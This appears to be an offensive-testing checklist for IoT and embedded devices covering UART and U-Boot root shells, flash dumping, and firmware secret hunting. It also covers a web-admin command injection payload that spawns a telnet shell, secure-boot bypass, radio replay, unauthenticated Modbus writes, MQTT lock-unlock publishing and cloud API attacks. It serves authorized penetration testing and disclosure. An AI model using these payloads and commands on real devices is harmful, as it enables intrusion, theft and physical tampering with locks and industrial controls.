IoT & Embedded — Offensive Testing Methodology

Quick Workflow

1. Recon the device physically — identify SoC, flash, debug interfaces, radios
2. Get the firmware — vendor download, OTA capture, hardware dump, or chip-off
3. Unpack and analyze — filesystems, services, secrets, default creds, vuln components
4. Establish runtime access — UART shell, telnet/SSH default creds, exploit chain
5. Pivot — to companion app, cloud API, neighboring devices via mesh / wireless

Hardware Reconnaissance

PCB Inspection

• ID the SoC by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
• ID flash (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
• Find debug headers: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
• Find test points labeled TX, RX, TCK, TMS, TDO, TDI, RST, BOOT

Tools

| Tool | Use | |------|-----| | Multimeter | Identify GND, VCC rails before connecting | | Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols | | USB-UART (FT232, CP2102) | UART console | | Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic | | J-Link / Black Magic Probe | JTAG / SWD MCU debugging | | CH341A programmer | Cheap SPI flash dumper | | XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) | | ChipQuik / hot-air | Chip-off desolder |

UART Discovery

bash
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
  echo "=== $b ==="
  timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log

Look for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.

Bootloader Console Drop

# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot:  0
=> printenv                   # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot                       # Linux comes up to root shell, no login

If U-Boot is locked, try:

• CONFIG_DELAY_AUTOBOOT_KEYED keyword (vendor-specific)
• Ctrl+C / Ctrl+B / specific magic strings
• Glitch the U-Boot version-check / signature-check (see Fault Injection)

Flash Dumping

SPI NOR (most common consumer IoT)

bash
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin

# Verify
file firmware.bin && binwalk firmware.bin

If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.

eMMC / NAND

eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.

NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.

OTA Capture

Many devices fetch firmware over HTTP(S). MITM the device:

bash
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS

Capture the URL, download directly, dissect.

Firmware Analysis

Initial Triage

bash
binwalk -Me firmware.bin           # Extract recursively
binwalk -E firmware.bin            # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"

Filesystem Mounting

bash
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin

# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs

Embedded-Linux Quick Wins

bash
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"

# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/

# Setuid binaries
find rootfs -perm -4000 -type f

# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "

# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"

CGI / Web Admin Auditing

GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.

bash
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi

Common patterns:

• system() / popen() with concatenated query string args
• sprintf then system — easy command injection
• Auth check via comparing cookie to plaintext file (race / replay)

Runtime Exploitation

Console / Telnet Default Creds

Try (per device class): admin/admin, root/root, root/<empty>, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/<serial number> — many vendors use a per-device default.

Web Admin Command Injection

http
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;

MTD Writes (re-flash from runtime)

If you have a root shell:

bash
cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin

/dev/mem

On older kernels without CONFIG_STRICT_DEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.

Bootloader / Secure Boot Attacks

U-Boot Quick Bypasses

• setenv bootargs ${bootargs} init=/bin/sh
• setenv preboot 'echo 1 > /sys/...' (run command before kernel)
• tftpboot — load attacker kernel from network
• bootm of a memory-resident image you loadb-uploaded over UART

Secure Boot

Modern devices verify signed bootloaders / kernels. Bypass paths:

• Downgrade: flash an older signed image with known kernel-level CVE
• Rollback bypass: anti-rollback fuses not blown → flash older signed
• Key extraction: dump the OTP / fuse contents via vendor tooling, recover signing key
• Fault injection: glitch the signature-check instruction (see below)

Fault Injection (Voltage / Clock Glitching)

Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image

RTOS Targets

| RTOS | Notes | |------|-------| | FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control | | Zephyr | MMU/MPU optional; verify isolation actually enabled | | ThreadX | Microsoft now, mostly closed | | MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges | | ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 | | QNX | Older versions: pdebug shell on serial = root |

MCU Reverse Engineering

bash
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
  -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"

# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"

# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)

Wireless Protocols

Bluetooth Low Energy (BLE)

bash
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"

# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.

Zigbee / Thread / Matter

bash
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap

# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0

Touchlink commissioning: known transport key in the wild (0x9F559A553B7A6B2C…) — many consumer devices accept Touchlink commissioning from any nearby radio.

Z-Wave

S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with Z-Force / EZ-Wave.

LoRaWAN

• ABP-provisioned devices: keys flashed once and never rotated
• Join-request replay if frame counters reset
• LoRaPWN, ChirpStack for analysis

Sub-GHz (433 / 868 / 915 MHz)

bash
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A   # auto-decoder for many devices
gqrx                     # interactive

# Capture, analyze in Inspectrum, replay with hackrf_transfer

Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.

ICS / OT Protocols

Modbus

python
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1)    # No auth in the protocol

BACnet (Building Automation)

bash
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments

OPC-UA

Modern OPC-UA has security profiles; many deployments use None for compatibility. Test:

• Anonymous browsing of address space (information disclosure)
• Username/password endpoints with weak creds
• Cert-based but with self-signed accepted

S7 (Siemens)

Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.

MQTT / CoAP

MQTT Anonymous Subscribe

bash
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'

Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe #, replay device commands.

CoAP

bash
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'

DTLS often misconfigured (PSK in firmware, no rotation).

Companion Mobile App / Cloud API

Most IoT vulns today live in the cloud + companion app pair, not the device itself.

bash
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk

# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/

# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app

Test the cloud API for:

• Device claim by serial number alone (steal devices already shipped)
• IDOR on /devices/<id> endpoints
• Live-stream URLs without auth (RTSP / WebRTC tokens)
• Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)

Pivoting Across Devices

• Compromise one device on the LAN → ARP/DHCP poison neighbors
• Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control
• BLE central role swap → talk directly to peripherals as the legitimate hub
• Cloud account compromise → all devices linked to the account simultaneously

Reporting Hooks

For each finding capture:

• Affected scope: model, firmware version, region, serial-number range if known
• Reproducer: physical or remote, time-to-exploit
• Pre-conditions: physical access? same network? authenticated cloud account?
• Post-conditions: persistent? cross-device? cloud-side?
• Vendor disclosure path: PSIRT contact, ICS-CERT, MITRE for CVE assignment

Engagement Checklist

[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure

Key References

• MITRE ATT&CK for ICS — TA0108 (Initial Access), TA0104 (Execution)
• OWASP ISVS / IoT Top 10
• Embedded Security CTF (microcorruption.com) — practice MCU exploitation
• IoT Hackers Handbook (Aditya Gupta) — canonical methodology
• CISA ICS-CERT advisory feed
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md